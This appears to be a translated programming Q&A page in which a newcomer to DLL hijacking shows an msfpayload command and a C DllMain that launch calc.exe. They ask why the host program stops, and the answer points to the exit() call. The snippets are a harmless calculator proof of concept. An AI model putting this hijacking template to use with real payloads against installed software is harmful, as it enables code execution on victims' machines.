1

こんにちは皆さん、私はDllハイジャックに不慣れです。私にはほとんど問題がありません。私の疑問を明確にするのを手伝ってくれることを願っています。

msfpayload を使用して calc dll を生成したとします。

msfpayload windows/exec CMD=calc.exe D > abc.dll

msfpayload によって生成された dll ファイルは正常に機能し、電卓はソフトウェアと共にプロンプ​​トを表示します。

そこで、次の C コードを使用しました。

#include <windows.h>

int owned()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  owned();
  return 0;
}

これをコンパイルして使用すると、電卓のみがプロンプトを表示します。ソフトウェアが実行されません。何故ですか?コンパイルには MinGW GCC コンパイラを使用しました。

4

1 に答える 1

2

ソフトウェアが実行されません。[何故ですか?

owned()を呼び出すため、ほぼ確実ですexit()。これでプロセスが終了します。

于 2013-08-11T15:07:47.180 に答える